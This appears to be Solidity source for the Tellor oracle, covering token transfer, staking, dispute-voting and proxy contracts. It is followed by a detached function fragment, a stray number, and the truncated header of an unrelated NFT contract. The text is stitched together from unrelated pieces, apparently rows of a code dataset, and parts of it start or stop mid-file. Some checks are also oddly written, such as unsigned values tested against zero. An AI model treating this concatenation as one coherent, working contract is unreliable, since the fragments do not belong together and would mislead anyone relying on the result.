allowed; //allowance for a given party and approver mapping(address => StakeInfo) stakerDetails;//mapping from a persons address to their staking info mapping(uint => Request) requestDetails;//mapping of apiID to details mapping(bytes32 => uint) requestIdByQueryHash;// api bytes32 gets an id = to count of requests array mapping(bytes32 => uint) disputeIdByDisputeHash;//maps a hash to an ID for each dispute } } /** * @title Tellor Transfer * @dev Contais the methods related to transfers and ERC20. Tellor.sol and TellorGetters.sol * reference this library for function's logic. */ library TellorTransfer { using SafeMath for uint256; event Approval(address indexed _owner, address indexed _spender, uint256 _value);//ERC20 Approval event event Transfer(address indexed _from, address indexed _to, uint256 _value);//ERC20 Transfer Event /*Functions*/ /** * @dev Allows for a transfer of tokens to _to * @param _to The address to send tokens to * @param _amount The amount of tokens to send * @return true if transfer is successful */ function transfer(TellorStorage.TellorStorageStruct storage self, address _to, uint256 _amount) public returns (bool success) { doTransfer(self,msg.sender, _to, _amount); return true; } /** * @notice Send _amount tokens to _to from _from on the condition it * is approved by _from * @param _from The address holding the tokens being transferred * @param _to The address of the recipient * @param _amount The amount of tokens to be transferred * @return True if the transfer was successful */ function transferFrom(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint256 _amount) public returns (bool success) { require(self.allowed[_from][msg.sender] >= _amount); self.allowed[_from][msg.sender] -= _amount; doTransfer(self,_from, _to, _amount); return true; } /** * @dev This function approves a _spender an _amount of tokens to use * @param _spender address * @param _amount amount the spender is being approved for * @return true if spender appproved successfully */ function approve(TellorStorage.TellorStorageStruct storage self, address _spender, uint _amount) public returns (bool) { require(_spender != address(0)); self.allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @param _user address of party with the balance * @param _spender address of spender of parties said balance * @return Returns the remaining allowance of tokens granted to the _spender from the _user */ function allowance(TellorStorage.TellorStorageStruct storage self,address _user, address _spender) public view returns (uint) { return self.allowed[_user][_spender]; } /** * @dev Completes POWO transfers by updating the balances on the current block number * @param _from address to transfer from * @param _to addres to transfer to * @param _amount to transfer */ function doTransfer(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint _amount) public { require(_amount > 0); require(_to != address(0)); require(allowedToTrade(self,_from,_amount)); //allowedToTrade checks the stakeAmount is removed from balance if the _user is staked uint previousBalance = balanceOfAt(self,_from, block.number); updateBalanceAtNow(self.balances[_from], previousBalance - _amount); previousBalance = balanceOfAt(self,_to, block.number); require(previousBalance + _amount >= previousBalance); // Check for overflow updateBalanceAtNow(self.balances[_to], previousBalance + _amount); emit Transfer(_from, _to, _amount); } /** * @dev Gets balance of owner specified * @param _user is the owner address used to look up the balance * @return Returns the balance associated with the passed in _user */ function balanceOf(TellorStorage.TellorStorageStruct storage self,address _user) public view returns (uint) { return balanceOfAt(self,_user, block.number); } /** * @dev Queries the balance of _user at a specific _blockNumber * @param _user The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at _blockNumber specified */ function balanceOfAt(TellorStorage.TellorStorageStruct storage self,address _user, uint _blockNumber) public view returns (uint) { if ((self.balances[_user].length == 0) || (self.balances[_user][0].fromBlock > _blockNumber)) { return 0; } else { return getBalanceAt(self.balances[_user], _blockNumber); } } /** * @dev Getter for balance for owner on the specified _block number * @param checkpoints gets the mapping for the balances[owner] * @param _block is the block number to search the balance on * @return the balance at the checkpoint */ function getBalanceAt(TellorStorage.Checkpoint[] storage checkpoints, uint _block) view public returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /** * @dev This function returns whether or not a given user is allowed to trade a given amount * and removing the staked amount from their balance if they are staked * @param _user address of user * @param _amount to check if the user can spend * @return true if they are allowed to spend the amount being checked */ function allowedToTrade(TellorStorage.TellorStorageStruct storage self,address _user,uint _amount) public view returns(bool) { if(self.stakerDetails[_user].currentStatus >0){ //Removes the stakeAmount from balance if the _user is staked if(balanceOf(self,_user).sub(self.uintVars[keccak256("stakeAmount")]).sub(_amount) >= 0){ return true; } } else if(balanceOf(self,_user).sub(_amount) >= 0){ return true; } return false; } /** * @dev Updates balance for from and to on the current block number via doTransfer * @param checkpoints gets the mapping for the balances[owner] * @param _value is the new balance */ function updateBalanceAtNow(TellorStorage.Checkpoint[] storage checkpoints, uint _value) public { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { TellorStorage.Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { TellorStorage.Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } } //import "./SafeMath.sol"; /** * @title Tellor Dispute * @dev Contais the methods related to disputes. Tellor.sol references this library for function's logic. */ library TellorDispute { using SafeMath for uint256; using SafeMath for int256; event NewDispute(uint indexed _disputeId, uint indexed _requestId, uint _timestamp, address _miner);//emitted when a new dispute is initialized event Voted(uint indexed _disputeID, bool _position, address indexed _voter);//emitted when a new vote happens event DisputeVoteTallied(uint indexed _disputeID, int _result,address indexed _reportedMiner,address _reportingParty, bool _active);//emitted upon dispute tally event NewTellorAddress(address _newTellor); //emmited when a proposed fork is voted true /*Functions*/ /** * @dev Helps initialize a dispute by assigning it a disputeId * when a miner returns a false on the validate array(in Tellor.ProofOfWork) it sends the * invalidated value information to POS voting * @param _requestId being disputed * @param _timestamp being disputed * @param _minerIndex the index of the miner that submitted the value being disputed. Since each official value * requires 5 miners to submit a value. */ function beginDispute(TellorStorage.TellorStorageStruct storage self,uint _requestId, uint _timestamp,uint _minerIndex) public { TellorStorage.Request storage _request = self.requestDetails[_requestId]; //require that no more than a day( (24 hours * 60 minutes)/10minutes=144 blocks) has gone by since the value was "mined" require(now - _timestamp<= 1 days); require(_request.minedBlockNum[_timestamp] > 0); require(_minerIndex < 5); //_miner is the miner being disputed. For every mined value 5 miners are saved in an array and the _minerIndex //provided by the party initiating the dispute address _miner = _request.minersByValue[_timestamp][_minerIndex]; bytes32 _hash = keccak256(abi.encodePacked(_miner,_requestId,_timestamp)); //Ensures that a dispute is not already open for the that miner, requestId and timestamp require(self.disputeIdByDisputeHash[_hash] == 0); TellorTransfer.doTransfer(self, msg.sender,address(this), self.uintVars[keccak256("disputeFee")]); //Increase the dispute count by 1 self.uintVars[keccak256("disputeCount")] = self.uintVars[keccak256("disputeCount")] + 1; //Sets the new disputeCount as the disputeId uint disputeId = self.uintVars[keccak256("disputeCount")]; //maps the dispute hash to the disputeId self.disputeIdByDisputeHash[_hash] = disputeId; //maps the dispute to the Dispute struct self.disputesById[disputeId] = TellorStorage.Dispute({ hash:_hash, isPropFork: false, reportedMiner: _miner, reportingParty: msg.sender, proposedForkAddress:address(0), executed: false, disputeVotePassed: false, tally: 0 }); //Saves all the dispute variables for the disputeId self.disputesById[disputeId].disputeUintVars[keccak256("requestId")] = _requestId; self.disputesById[disputeId].disputeUintVars[keccak256("timestamp")] = _timestamp; self.disputesById[disputeId].disputeUintVars[keccak256("value")] = _request.valuesByTimestamp[_timestamp][_minerIndex]; self.disputesById[disputeId].disputeUintVars[keccak256("minExecutionDate")] = now + 7 days; self.disputesById[disputeId].disputeUintVars[keccak256("blockNumber")] = block.number; self.disputesById[disputeId].disputeUintVars[keccak256("minerSlot")] = _minerIndex; self.disputesById[disputeId].disputeUintVars[keccak256("fee")] = self.uintVars[keccak256("disputeFee")]; //Values are sorted as they come in and the official value is the median of the first five //So the "official value" miner is always minerIndex==2. If the official value is being //disputed, it sets its status to inDispute(currentStatus = 3) so that users are made aware it is under dispute if(_minerIndex == 2){ self.requestDetails[_requestId].inDispute[_timestamp] = true; } self.stakerDetails[_miner].currentStatus = 3; emit NewDispute(disputeId,_requestId,_timestamp,_miner); } /** * @dev Allows token holders to vote * @param _disputeId is the dispute id * @param _supportsDispute is the vote (true=the dispute has basis false = vote against dispute) */ function vote(TellorStorage.TellorStorageStruct storage self, uint _disputeId, bool _supportsDispute) public { TellorStorage.Dispute storage disp = self.disputesById[_disputeId]; //Get the voteWeight or the balance of the user at the time/blockNumber the disupte began uint voteWeight = TellorTransfer.balanceOfAt(self,msg.sender,disp.disputeUintVars[keccak256("blockNumber")]); //Require that the msg.sender has not voted require(disp.voted[msg.sender] != true); //Requre that the user had a balance >0 at time/blockNumber the disupte began require(voteWeight > 0); //ensures miners that are under dispute cannot vote require(self.stakerDetails[msg.sender].currentStatus != 3); //Update user voting status to true disp.voted[msg.sender] = true; //Update the number of votes for the dispute disp.disputeUintVars[keccak256("numberOfVotes")] += 1; //Update the quorum by adding the voteWeight disp.disputeUintVars[keccak256("quorum")] += voteWeight; //If the user supports the dispute increase the tally for the dispute by the voteWeight //otherwise decrease it if (_supportsDispute) { disp.tally = disp.tally.add(int(voteWeight)); } else { disp.tally = disp.tally.sub(int(voteWeight)); } //Let the network know the user has voted on the dispute and their casted vote emit Voted(_disputeId,_supportsDispute,msg.sender); } /** * @dev tallies the votes. * @param _disputeId is the dispute id */ function tallyVotes(TellorStorage.TellorStorageStruct storage self, uint _disputeId) public { TellorStorage.Dispute storage disp = self.disputesById[_disputeId]; TellorStorage.Request storage _request = self.requestDetails[disp.disputeUintVars[keccak256("requestId")]]; //Ensure this has not already been executed/tallied require(disp.executed == false); //Ensure the time for voting has elapsed require(now > disp.disputeUintVars[keccak256("minExecutionDate")]); //If the vote is not a proposed fork if (disp.isPropFork== false){ TellorStorage.StakeInfo storage stakes = self.stakerDetails[disp.reportedMiner]; //If the vote for disputing a value is succesful(disp.tally >0) then unstake the reported // miner and transfer the stakeAmount and dispute fee to the reporting party if (disp.tally > 0 ) { //Changing the currentStatus and startDate unstakes the reported miner and allows for the //transfer of the stakeAmount stakes.currentStatus = 0; stakes.startDate = now -(now % 86400); //Decreases the stakerCount since the miner's stake is being slashed self.uintVars[keccak256("stakerCount")]--; updateDisputeFee(self); //Transfers the StakeAmount from the reporded miner to the reporting party TellorTransfer.doTransfer(self, disp.reportedMiner,disp.reportingParty, self.uintVars[keccak256("stakeAmount")]); //Returns the dispute fee to the reportingParty TellorTransfer.doTransfer(self, address(this),disp.reportingParty,disp.disputeUintVars[keccak256("fee")]); //Set the dispute state to passed/true disp.disputeVotePassed = true; //If the dispute was succeful(miner found guilty) then update the timestamp value to zero //so that users don't use this datapoint if(_request.inDispute[disp.disputeUintVars[keccak256("timestamp")]] == true){ _request.finalValues[disp.disputeUintVars[keccak256("timestamp")]] = 0; } //If the vote for disputing a value is unsuccesful then update the miner status from being on //dispute(currentStatus=3) to staked(currentStatus =1) and tranfer the dispute fee to the miner } else { //Update the miner's current status to staked(currentStatus = 1) stakes.currentStatus = 1; //tranfer the dispute fee to the miner TellorTransfer.doTransfer(self,address(this),disp.reportedMiner,disp.disputeUintVars[keccak256("fee")]); if(_request.inDispute[disp.disputeUintVars[keccak256("timestamp")]] == true){ _request.inDispute[disp.disputeUintVars[keccak256("timestamp")]] = false; } } //If the vote is for a proposed fork require a 20% quorum before excecuting the update to the new tellor contract address } else { if(disp.tally > 0 ){ require(disp.disputeUintVars[keccak256("quorum")] > (self.uintVars[keccak256("total_supply")] * 20 / 100)); self.addressVars[keccak256("tellorContract")] = disp.proposedForkAddress; disp.disputeVotePassed = true; emit NewTellorAddress(disp.proposedForkAddress); } } //update the dispute status to executed disp.executed = true; emit DisputeVoteTallied(_disputeId,disp.tally,disp.reportedMiner,disp.reportingParty,disp.disputeVotePassed); } /** * @dev Allows for a fork to be proposed * @param _propNewTellorAddress address for new proposed Tellor */ function proposeFork(TellorStorage.TellorStorageStruct storage self, address _propNewTellorAddress) public { bytes32 _hash = keccak256(abi.encodePacked(_propNewTellorAddress)); require(self.disputeIdByDisputeHash[_hash] == 0); TellorTransfer.doTransfer(self, msg.sender,address(this), self.uintVars[keccak256("disputeFee")]);//This is the fork fee self.uintVars[keccak256("disputeCount")]++; uint disputeId = self.uintVars[keccak256("disputeCount")]; self.disputeIdByDisputeHash[_hash] = disputeId; self.disputesById[disputeId] = TellorStorage.Dispute({ hash: _hash, isPropFork: true, reportedMiner: msg.sender, reportingParty: msg.sender, proposedForkAddress: _propNewTellorAddress, executed: false, disputeVotePassed: false, tally: 0 }); self.disputesById[disputeId].disputeUintVars[keccak256("blockNumber")] = block.number; self.disputesById[disputeId].disputeUintVars[keccak256("fee")] = self.uintVars[keccak256("disputeFee")]; self.disputesById[disputeId].disputeUintVars[keccak256("minExecutionDate")] = now + 7 days; } /** * @dev this function allows the dispute fee to fluctuate based on the number of miners on the system. * The floor for the fee is 15e18. */ function updateDisputeFee(TellorStorage.TellorStorageStruct storage self) public { //if the number of staked miners divided by the target count of staked miners is less than 1 if(self.uintVars[keccak256("stakerCount")]*1000/self.uintVars[keccak256("targetMiners")] < 1000){ //Set the dispute fee at stakeAmt * (1- stakerCount/targetMiners) //or at the its minimum of 15e18 self.uintVars[keccak256("disputeFee")] = SafeMath.max(15e18,self.uintVars[keccak256("stakeAmount")].mul(1000 - self.uintVars[keccak256("stakerCount")]*1000/self.uintVars[keccak256("targetMiners")])/1000); } else{ //otherwise set the dispute fee at 15e18 (the floor/minimum fee allowed) self.uintVars[keccak256("disputeFee")] = 15e18; } } } /** * itle Tellor Dispute * @dev Contais the methods related to miners staking and unstaking. Tellor.sol * references this library for function's logic. */ library TellorStake { event NewStake(address indexed _sender);//Emits upon new staker event StakeWithdrawn(address indexed _sender);//Emits when a staker is now no longer staked event StakeWithdrawRequested(address indexed _sender);//Emits when a staker begins the 7 day withdraw period /*Functions*/ /** * @dev This function stakes the five initial miners, sets the supply and all the constant variables. * This function is called by the constructor function on TellorMaster.sol */ function init(TellorStorage.TellorStorageStruct storage self) public{ require(self.uintVars[keccak256("decimals")] == 0); //Give this contract 6000 Tellor Tributes so that it can stake the initial 6 miners TellorTransfer.updateBalanceAtNow(self.balances[address(this)], 2**256-1 - 6000e18); // //the initial 5 miner addresses are specfied below // //changed payable[5] to 6 address payable[6] memory _initalMiners = [address(0x4c49172A499D18eA3093D59A304eEF63F9754e25), address(0xbfc157b09346AC15873160710B00ec8d4d520C5a), address(0xa3792188E76c55b1A649fE5Df77DDd4bFD6D03dB), address(0xbAF31Bbbba24AF83c8a7a76e16E109d921E4182a), address(0x8c9841fEaE5Fc2061F2163033229cE0d9DfAbC71), address(0xc31Ef608aDa4003AaD4D2D1ec2Be72232A9E2A86)]; //Stake each of the 5 miners specified above for(uint i=0;i<6;i++){//6th miner to allow for dispute //Miner balance is set at 1000e18 at the block that this function is ran TellorTransfer.updateBalanceAtNow(self.balances[_initalMiners[i]],1000e18); newStake(self, _initalMiners[i]); } //update the total suppply self.uintVars[keccak256("total_supply")] += 6000e18;//6th miner to allow for dispute //set Constants self.uintVars[keccak256("decimals")] = 18; self.uintVars[keccak256("targetMiners")] = 200; self.uintVars[keccak256("stakeAmount")] = 1000e18; self.uintVars[keccak256("disputeFee")] = 970e18; self.uintVars[keccak256("timeTarget")]= 600; self.uintVars[keccak256("timeOfLastNewValue")] = now - now % self.uintVars[keccak256("timeTarget")]; self.uintVars[keccak256("difficulty")] = 1; } /** * @dev This function allows stakers to request to withdraw their stake (no longer stake) * once they lock for withdraw(stakes.currentStatus = 2) they are locked for 7 days before they * can withdraw the deposit */ function requestStakingWithdraw(TellorStorage.TellorStorageStruct storage self) public { TellorStorage.StakeInfo storage stakes = self.stakerDetails[msg.sender]; //Require that the miner is staked require(stakes.currentStatus == 1); //Change the miner staked to locked to be withdrawStake stakes.currentStatus = 2; //Change the startDate to now since the lock up period begins now //and the miner can only withdraw 7 days later from now(check the withdraw function) stakes.startDate = now -(now % 86400); //Reduce the staker count self.uintVars[keccak256("stakerCount")] -= 1; TellorDispute.updateDisputeFee(self); emit StakeWithdrawRequested(msg.sender); } /** * @dev This function allows users to withdraw their stake after a 7 day waiting period from request */ function withdrawStake(TellorStorage.TellorStorageStruct storage self) public { TellorStorage.StakeInfo storage stakes = self.stakerDetails[msg.sender]; //Require the staker has locked for withdraw(currentStatus ==2) and that 7 days have //passed by since they locked for withdraw require(now - (now % 86400) - stakes.startDate >= 7 days); require(stakes.currentStatus == 2); stakes.currentStatus = 0; emit StakeWithdrawn(msg.sender); } /** * @dev This function allows miners to deposit their stake. */ function depositStake(TellorStorage.TellorStorageStruct storage self) public { newStake(self, msg.sender); //self adjusting disputeFee TellorDispute.updateDisputeFee(self); } /** * @dev This function is used by the init function to succesfully stake the initial 5 miners. * The function updates their status/state and status start date so they are locked it so they can't withdraw * and updates the number of stakers in the system. */ function newStake(TellorStorage.TellorStorageStruct storage self, address staker) internal { require(TellorTransfer.balanceOf(self,staker) >= self.uintVars[keccak256("stakeAmount")]); //Ensure they can only stake if they are not currrently staked or if their stake time frame has ended //and they are currently locked for witdhraw require(self.stakerDetails[staker].currentStatus == 0 || self.stakerDetails[staker].currentStatus == 2); self.uintVars[keccak256("stakerCount")] += 1; self.stakerDetails[staker] = TellorStorage.StakeInfo({ currentStatus: 1, //this resets their stake start date to today startDate: now - (now % 86400) }); emit NewStake(staker); } } /** * @title Tellor Getters * @dev Oracle contract with all tellor getter functions. The logic for the functions on this contract * is saved on the TellorGettersLibrary, TellorTransfer, TellorGettersLibrary, and TellorStake */ contract TellorGetters{ using SafeMath for uint256; using TellorTransfer for TellorStorage.TellorStorageStruct; using TellorGettersLibrary for TellorStorage.TellorStorageStruct; using TellorStake for TellorStorage.TellorStorageStruct; TellorStorage.TellorStorageStruct tellor; /** * @param _user address * @param _spender address * @return Returns the remaining allowance of tokens granted to the _spender from the _user */ function allowance(address _user, address _spender) external view returns (uint) { return tellor.allowance(_user,_spender); } /** * @dev This function returns whether or not a given user is allowed to trade a given amount * @param _user address * @param _amount uint of amount * @return true if the user is alloed to trade the amount specified */ function allowedToTrade(address _user,uint _amount) external view returns(bool){ return tellor.allowedToTrade(_user,_amount); } /** * @dev Gets balance of owner specified * @param _user is the owner address used to look up the balance * @return Returns the balance associated with the passed in _user */ function balanceOf(address _user) external view returns (uint) { return tellor.balanceOf(_user); } /** * @dev Queries the balance of _user at a specific _blockNumber * @param _user The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at _blockNumber */ function balanceOfAt(address _user, uint _blockNumber) external view returns (uint) { return tellor.balanceOfAt(_user,_blockNumber); } /** * @dev This function tells you if a given challenge has been completed by a given miner * @param _challenge the challenge to search for * @param _miner address that you want to know if they solved the challenge * @return true if the _miner address provided solved the */ function didMine(bytes32 _challenge, address _miner) external view returns(bool){ return tellor.didMine(_challenge,_miner); } /** * @dev Checks if an address voted in a given dispute * @param _disputeId to look up * @param _address to look up * @return bool of whether or not party voted */ function didVote(uint _disputeId, address _address) external view returns(bool){ return tellor.didVote(_disputeId,_address); } /** * @dev allows Tellor to read data from the addressVars mapping * @param _data is the keccak256("variable_name") of the variable that is being accessed. * These are examples of how the variables are saved within other functions: * addressVars[keccak256("_owner")] * addressVars[keccak256("tellorContract")] */ function getAddressVars(bytes32 _data) view external returns(address){ return tellor.getAddressVars(_data); } /** * @dev Gets all dispute variables * @param _disputeId to look up * @return bytes32 hash of dispute * @return bool executed where true if it has been voted on * @return bool disputeVotePassed * @return bool isPropFork true if the dispute is a proposed fork * @return address of reportedMiner * @return address of reportingParty * @return address of proposedForkAddress * @return uint of requestId * @return uint of timestamp * @return uint of value * @return uint of minExecutionDate * @return uint of numberOfVotes * @return uint of blocknumber * @return uint of minerSlot * @return uint of quorum * @return uint of fee * @return int count of the current tally */ function getAllDisputeVars(uint _disputeId) public view returns(bytes32, bool, bool, bool, address, address, address,uint[9] memory, int){ return tellor.getAllDisputeVars(_disputeId); } /** * @dev Getter function for variables for the requestId being currently mined(currentRequestId) * @return current challenge, curretnRequestId, level of difficulty, api/query string, and granularity(number of decimals requested), total tip for the request */ function getCurrentVariables() external view returns(bytes32, uint, uint,string memory,uint,uint){ return tellor.getCurrentVariables(); } /** * @dev Checks if a given hash of miner,requestId has been disputed * @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId)); * @return uint disputeId */ function getDisputeIdByDisputeHash(bytes32 _hash) external view returns(uint){ return tellor.getDisputeIdByDisputeHash(_hash); } /** * @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId * @param _disputeId is the dispute id; * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the disputeUintVars under the Dispute struct * @return uint value for the bytes32 data submitted */ function getDisputeUintVars(uint _disputeId,bytes32 _data) external view returns(uint){ return tellor.getDisputeUintVars(_disputeId,_data); } /** * @dev Gets the a value for the latest timestamp available * @return value for timestamp of last proof of work submited * @return true if the is a timestamp for the lastNewValue */ function getLastNewValue() external view returns(uint,bool){ return tellor.getLastNewValue(); } /** * @dev Gets the a value for the latest timestamp available * @param _requestId being requested * @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't */ function getLastNewValueById(uint _requestId) external view returns(uint,bool){ return tellor.getLastNewValueById(_requestId); } /** * @dev Gets blocknumber for mined timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up blocknumber * @return uint of the blocknumber which the dispute was mined */ function getMinedBlockNum(uint _requestId, uint _timestamp) external view returns(uint){ return tellor.getMinedBlockNum(_requestId,_timestamp); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return the 5 miners' addresses */ function getMinersByRequestIdAndTimestamp(uint _requestId, uint _timestamp) external view returns(address[5] memory){ return tellor.getMinersByRequestIdAndTimestamp(_requestId,_timestamp); } /** * @dev Get the name of the token * return string of the token name */ function getName() external view returns(string memory){ return tellor.getName(); } /** * @dev Counts the number of values that have been submited for the request * if called for the currentRequest being mined it can tell you how many miners have submitted a value for that * request so far * @param _requestId the requestId to look up * @return uint count of the number of values received for the requestId */ function getNewValueCountbyRequestId(uint _requestId) external view returns(uint){ return tellor.getNewValueCountbyRequestId(_requestId); } /** * @dev Getter function for the specified requestQ index * @param _index to look up in the requestQ array * @return uint of reqeuestId */ function getRequestIdByRequestQIndex(uint _index) external view returns(uint){ return tellor.getRequestIdByRequestQIndex(_index); } /** * @dev Getter function for requestId based on timestamp * @param _timestamp to check requestId * @return uint of reqeuestId */ function getRequestIdByTimestamp(uint _timestamp) external view returns(uint){ return tellor.getRequestIdByTimestamp(_timestamp); } /** * @dev Getter function for requestId based on the queryHash * @param _request is the hash(of string api and granularity) to check if a request already exists * @return uint requestId */ function getRequestIdByQueryHash(bytes32 _request) external view returns(uint){ return tellor.getRequestIdByQueryHash(_request); } /** * @dev Getter function for the requestQ array * @return the requestQ arrray */ function getRequestQ() view public returns(uint[51] memory){ return tellor.getRequestQ(); } /** * @dev Allowes access to the uint variables saved in the apiUintVars under the requestDetails struct * for the requestId specified * @param _requestId to look up * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the apiUintVars under the requestDetails struct * @return uint value of the apiUintVars specified in _data for the requestId specified */ function getRequestUintVars(uint _requestId,bytes32 _data) external view returns(uint){ return tellor.getRequestUintVars(_requestId,_data); } /** * @dev Gets the API struct variables that are not mappings * @param _requestId to look up * @return string of api to query * @return string of symbol of api to query * @return bytes32 hash of string * @return bytes32 of the granularity(decimal places) requested * @return uint of index in requestQ array * @return uint of current payout/tip for this requestId */ function getRequestVars(uint _requestId) external view returns(string memory, string memory,bytes32,uint, uint, uint) { return tellor.getRequestVars(_requestId); } /** * @dev This function allows users to retireve all information about a staker * @param _staker address of staker inquiring about * @return uint current state of staker * @return uint startDate of staking */ function getStakerInfo(address _staker) external view returns(uint,uint){ return tellor.getStakerInfo(_staker); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestampt to look up miners for * @return address[5] array of 5 addresses ofminers that mined the requestId */ function getSubmissionsByTimestamp(uint _requestId, uint _timestamp) external view returns(uint[5] memory){ return tellor.getSubmissionsByTimestamp(_requestId,_timestamp); } /** * @dev Get the symbol of the token * return string of the token symbol */ function getSymbol() external view returns(string memory){ return tellor.getSymbol(); } /** * @dev Gets the timestamp for the value based on their index * @param _requestID is the requestId to look up * @param _index is the value index to look up * @return uint timestamp */ function getTimestampbyRequestIDandIndex(uint _requestID, uint _index) external view returns(uint){ return tellor.getTimestampbyRequestIDandIndex(_requestID,_index); } /** * @dev Getter for the variables saved under the TellorStorageStruct uintVars variable * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the uintVars under the TellorStorageStruct struct * This is an example of how data is saved into the mapping within other functions: * self.uintVars[keccak256("stakerCount")] * @return uint of specified variable */ function getUintVar(bytes32 _data) view public returns(uint){ return tellor.getUintVar(_data); } /** * @dev Getter function for next requestId on queue/request with highest payout at time the function is called * @return onDeck/info on request with highest payout-- RequestId, Totaltips, and API query string */ function getVariablesOnDeck() external view returns(uint, uint,string memory){ return tellor.getVariablesOnDeck(); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return bool true if requestId/timestamp is under dispute */ function isInDispute(uint _requestId, uint _timestamp) external view returns(bool){ return tellor.isInDispute(_requestId,_timestamp); } /** * @dev Retreive value from oracle based on timestamp * @param _requestId being requested * @param _timestamp to retreive data/value from * @return value for timestamp submitted */ function retrieveData(uint _requestId, uint _timestamp) external view returns (uint) { return tellor.retrieveData(_requestId,_timestamp); } /** * @dev Getter for the total_supply of oracle tokens * @return uint total supply */ function totalSupply() external view returns (uint) { return tellor.totalSupply(); } } /** * @title Tellor Master * @dev This is the Master contract with all tellor getter functions and delegate call to Tellor. * The logic for the functions on this contract is saved on the TellorGettersLibrary, TellorTransfer, * TellorGettersLibrary, and TellorStake */ contract TellorMaster is TellorGetters{ event NewTellorAddress(address _newTellor); /** * @dev The constructor sets the original `tellorStorageOwner` of the contract to the sender * account, the tellor contract to the Tellor master address and owner to the Tellor master owner address * @param _tellorContract is the address for the tellor contract */ constructor (address _tellorContract) public{ tellor.init(); tellor.addressVars[keccak256("_owner")] = msg.sender; tellor.addressVars[keccak256("_deity")] = msg.sender; tellor.addressVars[keccak256("tellorContract")]= _tellorContract; emit NewTellorAddress(_tellorContract); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @dev Only needs to be in library * @param _newDeity the new Deity in the contract */ function changeDeity(address _newDeity) external{ tellor.changeDeity(_newDeity); } /** * @dev allows for the deity to make fast upgrades. Deity should be 0 address if decentralized * @param _tellorContract the address of the new Tellor Contract */ function changeTellorContract(address _tellorContract) external{ tellor.changeTellorContract(_tellorContract); } /** * @dev This is the fallback function that allows contracts to call the tellor contract at the address stored */ function () external payable { address addr = tellor.addressVars[keccak256("tellorContract")]; bytes memory _calldata = msg.data; assembly { let result := delegatecall(not(0), addr, add(_calldata, 0x20), mload(_calldata), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) // revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas. // if the call returned error data, forward it switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } }
Getter for the variables saved under the TellorStorageStruct uintVars variable _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is the variables/strings used to save the data in the mapping. The variables names are commented out under the uintVars under the TellorStorageStruct struct This is an example of how data is saved into the mapping within other functions: self.uintVars[keccak256("stakerCount")] return uint of specified variable/
function getUintVar(TellorStorage.TellorStorageStruct storage self,bytes32 _data) view internal returns(uint){ return self.uintVars[_data]; }
12,548,468
/** *Submitted for verification at Etherscan.io on 2021-10-29 */ // SPDX-License-Identifier: MIT /* contract created by __ __ | \ | \ ______ ____ ______ _| $$_ ______ _______ ______ ______ ____| $$ | \ \ / \| $$ \ | \ / \ / \ / \ / $$ | $$$$$$\$$$$\| $$$$$$\\$$$$$$ \$$$$$$\| $$$$$$$| $$$$$$\| $$$$$$\| $$$$$$$ | $$ | $$ | $$| $$ $$ | $$ __ / $$ \$$ \ | $$ $$| $$ $$| $$ | $$ | $$ | $$ | $$| $$$$$$$$ | $$| \| $$$$$$$ _\$$$$$$\| $$$$$$$$| $$$$$$$$| $$__| $$ | $$ | $$ | $$ \$$ \ \$$ $$ \$$ $$| $$ \$$ \ \$$ \ \$$ $$ \$$ \$$ \$$ \$$$$$$$ \$$$$ \$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$$$$ \$$$$$$$ __ __ __ __ | \| \ | \ | \ _______ ______ | $$| $$ ______ _______ _| $$_ \$$ __ __ ______ / \ / \ | $$| $$ / \ / \| $$ \ | \| \ / \ / \ | $$$$$$$| $$$$$$\| $$| $$| $$$$$$\| $$$$$$$ \$$$$$$ | $$ \$$\ / $$| $$$$$$\ | $$ | $$ | $$| $$| $$| $$ $$| $$ | $$ __ | $$ \$$\ $$ | $$ $$ | $$_____ | $$__/ $$| $$| $$| $$$$$$$$| $$_____ | $$| \| $$ \$$ $$ | $$$$$$$$ \$$ \ \$$ $$| $$| $$ \$$ \ \$$ \ \$$ $$| $$ \$$$ \$$ \ \$$$$$$$ \$$$$$$ \$$ \$$ \$$$$$$$ \$$$$$$$ \$$$$ \$$ \$ \$$$$$$$ NFT Collective for Artists, Builders & Collectors https://metaseed.art */ pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * 